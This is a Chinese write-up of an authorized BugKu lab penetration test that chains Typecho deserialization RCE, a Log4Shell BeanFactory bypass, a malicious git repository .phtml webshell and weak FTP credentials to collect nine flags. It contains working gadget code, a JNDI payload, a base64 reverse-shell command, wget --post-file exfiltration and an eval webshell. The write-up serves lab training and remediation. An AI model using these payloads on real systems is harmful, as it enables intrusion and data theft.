BugKu PRA 渗透测试 2(Harry‘s Blog):9 Flag 全链实战复盘

BugKu PRA · 渗透测试 2(Harry's Blog)渗透测试报告

目标:http://47.117.138.21/ | 日期:2026-10-24 | 结果:9 / 9 flag 类型:授权靶场多级内网渗透(公网入口 → 双网卡边界 → 末端服务)


0. Evidence Chain(Evidence → Finding → Path)

0.1 Scope 摘要

项 值
auth 授权靶场(多级内网渗透训练)
in_scope 47.117.138.21:80;内网 192.168.0.0/24、192.168.1.0/24、10.10.0.0/24 中由靶场派生出的主机
network_profile 公网入口 1 台 → 双网卡边界 2 台 → 末端服务 1 台;攻击机侧自建 Rogue LDAP + HTTP 回显
时间窗口 2026-10-24 01:30 ~ 02:08(Asia/Shanghai),任务计时 41m40s
约束 只做读取/利用验证,不做破坏性操作;不下载攻击工具,利用设施全部本地自建

0.2 Evidence

E-id 观察 source_type source_ref / repro_command hash
E-001 47.117.138.21 开放 22/80/2376/32768 command nmap -Pn -sT -p- --min-rate 3000 47.117.138.21 n/a
E-002 首页指纹 Typecho 1.0/14.10.10、Apache 2.4.7、PHP 5.5.9 command curl -i http://47.117.138.21/ n/a
E-003 phpinfo.php、.git/、/usr/ 目录列表、/usr/uploads 可写可执行 command curl -i http://47.117.138.21/{phpinfo.php,.git/config,usr/} n/a
E-004 install.php 反序列化 RCE,落地 /usr/uploads/s.php,uid=33(www-data) command POST /install.php?finish=a + 同源 Referer + __typecho_config n/a
E-005 Typecho 容器 /flag = flag1 file webshell echo file_get_contents('/flag') n/a
E-006 config.inc.php 泄露 cms/7aed78676bf27528@localhost/cms file webshell file_get_contents('/app/config.inc.php') n/a
E-007 MySQL cms.flag = flag2 command SELECT * FROM cms.flag n/a
E-008 内网 192.168.0.3:80 后台系统;Source: /source.zip;源码含 log4j 2.14.1 command PHP fsockopen 扫描 + GET /source.zip n/a
E-009 源码审计:logger.info("用户登录失败,用户名不存在:" + user) file /source.zip → DamnVulnerableLog4j.java n/a
E-010 Log4Shell 绕过成功,root RCE(uid=0);LDAP 多端口回调 command user=${jndi:ldap://192.168.0.2:1389/Exploit} + 序列化 ResourceRef n/a
E-011 log4j 主机 start.sh:FLAG3 注入 anime.min.js;flag3 实测 file cat /start.sh;GET /anime.min.js n/a
E-012 log4j 主机 /flag、/root/flag = flag4/flag5 file cat /flag /root/flag n/a
E-013 git 主机 /repos/ 目录列表:flag 时间戳 00:57(容器启动),先于 clone 01:56 command GET http://192.168.1.3/repos/ n/a
E-014 恶意裸仓库 .phtml getshell(www-data);git 主机 /flag = flag7 command POST repourl=http://192.168.1.2:8000/repo.git + phtml 执行 n/a
E-015 10.10.0.3:21 vsftpd 3.0.2 guest/guest;/home/guest/flag、/flag command PHP ftp_connect/ftp_get n/a

0.3 Findings

漏洞类

F-id 标题 severity evidence_ids confidence status
F-V01 Typecho install.php 反序列化 RCE(未授权) critical E-004 high validated
F-V02 config.inc.php 数据库口令泄露,flag 与业务同库 high E-006, E-007 high validated
F-V03 Spring Boot + log4j-core 2.14.1 Log4Shell(未授权,root) critical E-008, E-009, E-010 high validated
F-V04 Git 克隆应用可克隆任意仓库且 .phtml 被解析执行 critical E-013, E-014 high validated
F-V05 vsftpd 弱口令 guest/guest,且未 chroot high E-015 high validated
F-V06 信息暴露:phpinfo、.git、目录列表、source.zip、start.sh 残留 medium E-002, E-003, E-008, E-011 high validated

Flag 类

F-id Flag 位置 evidence_ids 证据等级
F-101 flag{8f416dcf8f6da81d88ed3aefd2ad7200} Typecho /flag E-005 B
F-102 flag{fc927a470effa773b02951360624c9eb} cms.flag E-007 B
F-103 flag{c64be64c61a38655f0fcb1dd5ac0f2ac} log4j anime.min.js E-011 A
F-104 flag{fbb4a92b7f4966f3fabfe8e2ee4e2636} log4j /flag E-012 A
F-105 flag{3399a9d82c572bb9f86b0f36317d0f71} log4j /root/flag E-012 A
F-106 flag{5b683dc7c1a7fd3283bdbbc793b46662} git /var/www/html/repos/flag E-013 A
F-107 flag{e4348b26252db4953e19d6365e128ca0} git /flag E-014 A
F-108 flag{cf452a1b4a3a5a3f43c09febf63609c0} FTP /home/guest/flag E-015 A
F-109 flag{2719dec3a2058d7a21ee996097a7b419} FTP /flag E-015 A

A = 目标机 start.sh 直接写明变量与路径且实测读到;B = 文件/数据库实测 + 官方题解阶段对应(容器 start.sh 已自删)。

0.4 Path(攻击路径 P-001)

步 action evidence finding
1 指纹与信息暴露收集 E-001,E-002,E-003 F-V06
2 install.php 反序列化拿 www-data E-004 F-V01
3 读 /flag、config.inc.php、cms.flag E-005,E-006,E-007 F-101,F-102,F-V02
4 内网扫描发现 192.168.0.3 后台系统与 source.zip E-008 F-V06
5 源码审计定位 log4j 2.14.1 日志注入点 E-009 F-V03
6 Log4Shell(BeanFactory 绕过)拿 root E-010 F-V03
7 读 anime.min.js、/flag、/root/flag E-011,E-012 F-103,F-104,F-105
8 双网卡横向 → 192.168.1.3 Git 仓库 E-013 F-V04
9 /repos/ 目录列表直读 flag6 E-013 F-106
10 恶意裸仓库 .phtml getshell → git /flag E-014 F-V04,F-107
11 10.10.0.2/24 → 10.10.0.3 vsftpd E-015 F-V05
12 guest/guest 取 /home/guest/flag 与 /flag E-015 F-108,F-109

0.5 Timeline 摘要

时间 事件 结果
01:30 开始侦察 Typecho 指纹、信息暴露
01:34 install.php 反序列化 www-data RCE
01:35--01:36 读 /flag、cms.flag flag1、flag2
01:40 内网发现 192.168.0.3 后台系统 + source.zip
01:50 Log4Shell 绕过 root RCE
01:52 读 js / flag / root flag flag3、flag4、flag5
01:55--01:58 双网卡横向 → Git 仓库 flag6
02:04--02:05 .phtml getshell flag7
02:07--02:08 FTP guest flag8、flag9

1. 执行摘要

本次对 BugKu PRA「渗透测试 2」靶场完成端到端渗透:从公网 Typecho 博客的 install.php 反序列化获得入口 RCE,读取容器 flag 与数据库 flag;随后通过内网发现边界主机上的 Spring Boot 后台系统,利用 log4j-core 2.14.1 的 Log4Shell(在 trustURLCodebase=false 下改用 BeanFactory + ELProcessor 绕过)获得 root;再经双网卡横向到 Git 克隆应用(目录列表直读 + 恶意 .phtml getshell),最后进入第三层网络拿下 vsftpd 弱口令主机。9 个 flag 全部获取并交叉验证,发现 6 类可复现漏洞(2 个 critical 利用链、3 个 high、1 个 medium)。核心建议:修复 Typecho 反序列化与信息暴露、升级 log4j ≥ 2.17.1、限制 Git 克隆目标并禁止克隆目录执行脚本、禁用 FTP 弱口令。


2. 测试范围与授权

资产 地址 角色
公网入口 47.117.138.21:80 Typecho 1.0 / Apache 2.4.7 / PHP 5.5.9
攻击机容器 192.168.0.2 webshell + Rogue LDAP(1389--1391) + HTTP 回显
边界主机 A 192.168.0.3 / 192.168.1.2 Bugku 后台系统(Spring Boot 2.6.1 + log4j 2.14.1),双网卡
边界主机 B 192.168.1.3 / 10.10.0.2 乙公司 Git 仓库(PHP clone 应用),双网卡
末端服务 10.10.0.3:21 vsftpd 3.0.2
  • 授权:靶场训练任务,仅针对上述由目标派生出的主机;未对公网其他资产做任何探测。
  • 操作纪律:利用代码与 LDAP/HTTP 设施均在攻击机侧自建;未下载外部攻击工具;未做删除/写入持久化等破坏性动作(仅必要的 webshell/仓库用于验证)。
  • 残留物:Typecho webshell、Rogue LDAP、git 仓库 shell.phtml、FTP 下载临时文件(均限靶场,供复盘)。

3. 发现汇总

3.1 风险分布

严重性 数量 条目
critical 3 F-V01、F-V03、F-V04
high 2 F-V02、F-V05
medium 1 F-V06

3.2 Flag 一览

# Flag 位置 证据
1 flag{8f416dcf8f6da81d88ed3aefd2ad7200} Typecho /flag E-005
2 flag{fc927a470effa773b02951360624c9eb} MySQL cms.flag E-007
3 flag{c64be64c61a38655f0fcb1dd5ac0f2ac} log4j anime.min.js E-011
4 flag{fbb4a92b7f4966f3fabfe8e2ee4e2636} log4j /flag E-012
5 flag{3399a9d82c572bb9f86b0f36317d0f71} log4j /root/flag E-012
6 flag{5b683dc7c1a7fd3283bdbbc793b46662} git /var/www/html/repos/flag E-013
7 flag{e4348b26252db4953e19d6365e128ca0} git /flag E-014
8 flag{cf452a1b4a3a5a3f43c09febf63609c0} FTP /home/guest/flag E-015
9 flag{2719dec3a2058d7a21ee996097a7b419} FTP /flag E-015

4. 漏洞详情与利用

4.1 F-V06 信息暴露(medium)

  • /phpinfo.php 暴露 DOCUMENT_ROOT=/var/www/html、PHP 5.5.9、仅禁用 pcntl_*;
  • /.git/ 静态可读(packed-refs 指向演示仓库);
  • /usr/、/usr/themes/、/usr/plugins/ 目录列表;/usr/uploads/ 可写且 PHP 可执行;
  • 后台系统响应头 Source: /source.zip 直接给出源码包。

4.2 F-V01 Typecho install.php 反序列化 RCE(critical)→ flag1

入口条件:?finish= 非空、Referer 与 Host 同源;__typecho_config 被 Base64 解码后直接 unserialize,$config['adapter'] 参与字符串拼接触发 __toString。链:Typecho_Feed::__toString → Typecho_Request::__get → call_user_func($filter,$value)。

php 复制代码
class Typecho_Feed {
    private $_type = 'RSS 2.0'; private $_items = array();
    public function __construct($a){ $this->_items[] = array('title'=>'1','link'=>'1','date'=>1508895132,'category'=>array($a),'author'=>$a); }
}
class Typecho_Request {
    private $_params = array(); private $_filter = array('assert');
    public function __construct($code){ $this->_params['screenName'] = $code; }
}
$poc = array('adapter'=>new Typecho_Feed(new Typecho_Request($argv[1])), 'prefix'=>'typecho_');
echo base64_encode(serialize($poc));
http 复制代码
POST /install.php?finish=a HTTP/1.1
Host: 47.117.138.21
Referer: http://47.117.138.21/
Content-Type: application/x-www-form-urlencoded

__typecho_config=<base64(serialize(...))>

assert('file_put_contents("/var/www/html/usr/uploads/s.php", base64_decode("..."));') → webshell(www-data)→ cat /flag = flag1。

4.3 F-V02 数据库口令泄露(high)→ flag2

config.inc.php:cms / 7aed78676bf27528 @ localhost / cms。cms.flag 表直接存放 flag2;同一库还含 typecho_users 的 admin 口令哈希与 authCode。

4.4 F-V03 Log4Shell(critical)→ flag3 / flag4 / flag5

后台系统 /login 把 user 拼接进 logger.info(...)(log4j 2.14.1)。经典 ${jndi:ldap://...} 可达 LDAP,但目标 trustURLCodebase=false,远程 class 不落地。改用本地工厂链:

text 复制代码
LDAP 返回 javaSerializedData = serialize(org.apache.naming.ResourceRef)
  className   = javax.el.ELProcessor
  classFactory= org.apache.naming.factory.BeanFactory
  forceString = x=eval
  x           = "".getClass().forName("javax.script.ScriptEngineManager")
                 .newInstance().getEngineByName("javascript")
                 .eval("java.lang.Runtime.getRuntime().exec('bash -c {echo,<B64>}|{base64,-d}|{bash,-i}')")

要点:

  1. LDAP bindResponse/searchResEntry/searchResDone 的 application tag 直接承载字段,不能再套 SEQUENCE;
  2. 本地 stub org.apache.naming.{AbstractRef,ResourceRef}(serialVersionUID=1L、无实例字段)保证类描述符与 Tomcat 9.0.x 兼容(9.0.55 仍支持 forceString);
  3. Runtime.exec(String) 按空白分词,命令用 brace expansion 去空格;
  4. JDK JNDI 连接池会复用已关闭连接 → Rogue LDAP 开 1389/1390/1391 多端口轮换;
  5. 回显:目标 wget --post-file 把 base64 结果 POST 回攻击机 collect.php(避免 URL 长度/+ 问题)。

root 权限下 start.sh 揭示:flag3 由 sed 's/MIT/$FLAG3/' 注入 anime.min.js,flag4=/flag,flag5=/root/flag。

4.5 F-V04 Git 克隆应用(critical)→ flag6 / flag7

Git 主机(192.168.1.3)提供 repourl 表单并在服务端执行 git clone,/repos/ 为 Apache 目录列表。

  • flag6(目录列表) :start.sh 在容器启动时执行 echo $FLAG6 > /var/www/html/repos/flag;实测 /repos/flag 的 Last-Modified 为 00:57(容器启动),而官方题解中的 BWVS 克隆目录是 01:56、自建 repo/ 是 02:04。因此 flag6 是目录列表直读 ,clone 只是引导到 /repos 的叙事,并非 flag 的生成原因。
  • flag7(.phtml getshell) :在边界主机 A(192.168.1.2,与 Git 主机同网段)自建裸仓库,含 shell.phtml(<?php echo "PWNED"; eval($_POST["x"]); ?>),git update-server-info 后用多线程静态服务提供 git dumb-http;提交 repourl=http://192.168.1.2:8000/repo.git,克隆后 .phtml 被 PHP 解析 → www-data RCE → cat /flag = flag7。

4.6 F-V05 vsftpd 弱口令(high)→ flag8 / flag9

Git 主机另有 10.10.0.2/24;10.10.0.3:21 为 vsftpd 3.0.2,guest/guest 登录成功:

  • /home/guest/flag = flag{cf45...} PS:/ → flag8 ,PS:/ 提示根目录;
  • ftp_get /flag → flag9。

5. 攻击路径

text 复制代码
公网 Typecho ──install.php 反序列化──▶ flag1 / MySQL flag2
      │
      └─内网 192.168.0.0/24──▶ 192.168.0.3 后台系统 ──Log4Shell(BeanFactory)──▶ flag3/4/5
                                          │
                                          └─双网卡 192.168.1.2──▶ 192.168.1.3 Git 仓库
                                                                    ├─/repos/ 直读 → flag6
                                                                    └─.phtml getshell → flag7
                                                                              │
                                                                              └─10.10.0.2/24──▶ 10.10.0.3 vsftpd
                                                                                                ├─/home/guest/flag → flag8
                                                                                                └─/flag → flag9

交互图按章节就近嵌入(阶段耗时 §1、时间线 §0.5、拓扑 §2、资产映射 §3.2、获取时序本节、修复路线 §7);完整索引见 §9。


6. 工具与环境

类别 工具/设施 说明
扫描 nmap 7.98 公网端口;内网用 PHP fsockopen
HTTP curl / PowerShell 探测与利用请求
代码执行 PHP webshell、install.php gadget Typecho 容器
Log4Shell 自写 Python Rogue LDAP(多端口)、Serialized ResourceRef(本地 stub + Java 序列化) 无外部攻击工具下载
回显/运维 collect.php、wget --post-file、run3.ps1 / run4.ps1 边界机命令执行编排
横向 git dumb-http(update-server-info)、Python 多线程静态服务 恶意仓库投递
末端 PHP ftp_* 扩展 FTP 交互
图形 Archify 3.2.0 architecture / sequence / timeline

7. 修复建议

优先级 资产 建议
P0 Typecho 删除/禁用 install.php;升级修复反序列化;移除 phpinfo.php、.git;关闭目录列表;/usr/uploads 禁止 PHP 执行
P0 log4j 后台 升级 ≥ 2.17.1;log4j2.formatMsgNoLookups=true 并移除 JndiLookup;保持 trustURLCodebase=false;Tomcat 限制 BeanFactory;过滤 ${jndi:
P0 Git 应用 克隆 URL 白名单(禁内网/元数据地址);克隆目录 RemoveHandler/php_flag engine off;关闭 /repos/ 目录列表
P1 数据库 独立低权账号、最小权限、禁用 FILE;flag/敏感数据不与业务同库
P1 FTP 禁用 guest/guest 弱口令;chroot 到用户目录;敏感文件不放可读根目录
P2 全局 统一信息暴露治理(响应头、错误页、备份/源码包);容器最小化(去除 start.sh 等环境残留)

8. 附录

8.1 关键 payload / 命令索引

用途 位置
Typecho gadget 生成器 payload.php、payload2.php
ResourceRef 序列化生成 log4j/ser/Gen.java + stub 类
Rogue LDAP(多端口) log4j/ldap2.py、startldap.sh
回显收集 log4j/collect.php(部署为容器 /app/collect.php)
边界机编排 run3.ps1(log4j 主机)、run4.ps1(git 主机 phtml)

8.2 证据文件

E-id 对应工件
E-004/E-005 /app/usr/uploads/s.php(Typecho 容器,webshell)
E-006 /app/config.inc.php
E-010 攻击面截图与 LDAP 日志 ldap.log
E-011/E-012 log4j 主机 start.sh、anime.min.js、/flag、/root/flag
E-013/E-014 git 主机 /repos/ 列表、shell.phtml
E-015 FTP /home/guest/flag、/flag

9. 图形附件(Archify)

六张交互图已分别嵌入对应章节(§1 阶段耗时、§0.5 事件时间线、§2 攻击面拓扑、§3.2 资产/Flag 映射、§5 获取时序、§7 修复路线);本表仅为索引。

图 章节 说明
攻击面拓扑 §2 三网段边界、7 节点、6 条攻击边
事件时间线 §0.5 13 事件、3 泳道,01:30--02:08
阶段耗时 §1 8 阶段耗时,总计约 41m40s
资产与 Flag 映射 §3.2 4 主机 / 9 flag 归属
获取时序 §5 7 参与者、12 条消息
修复路线 §7 P0→P1→P2 处置闭环

六张图均为可交互的独立 HTML 图,本文在各章节内联静态截图,便于离线阅读。


报告生成:2026-10-24 | 数据来源:本次实测会话与目标机取证;图形由 Archify 生成。

相关推荐
kingx34 小时前
BugKu 渗透测试 4 实战:文件上传打点,5 Flag 全通
数据库·渗透测试·web·内网渗透
sun_weitao6 小时前
用 FastAPI + MQTT 做一个 ESP32最小化跑通示例
中间件·vue·fastapi
十五年专注C++开发8 小时前
FlatBuffers: 一个高效的零拷贝二进制序列化库
c++·序列化·反序列化·flatbuffers
真上帝的左手14 小时前
12. 消息队列-Kafka进阶
分布式·中间件·kafka
车载中间件通信1 天前
[TC8测试]TCP_FLAGS_PROCESSING_06
数据库·网络协议·tcp/ip·中间件·tc8
kingx32 天前
网络安全事件应急响应:X集团 WebServer 入侵溯源与处置
中间件·web·应急响应·取证·恶意样本
特立独行的猫a3 天前
ROS 2 主流DDS中间件入门:Cyclone DDS 与 Fast DDS 完全指南
中间件·ros2·dds·fast dds·cyclone dds
文章永久免费只为良心3 天前
Web应用安全与防护_第三章_日志文件包含_从一道 CTFshow 题目讲透「日志投毒型 LFI → RCE」:原理、时序陷阱与全变种攻防手册
android·网络安全·渗透测试·漏洞危害·漏洞描述·日志投毒·红队指南
小易老师AI实战3 天前
用中间件把任务规划嵌进智能体循环
中间件·状态管理·智能体·工具调用·langgraph·任务规划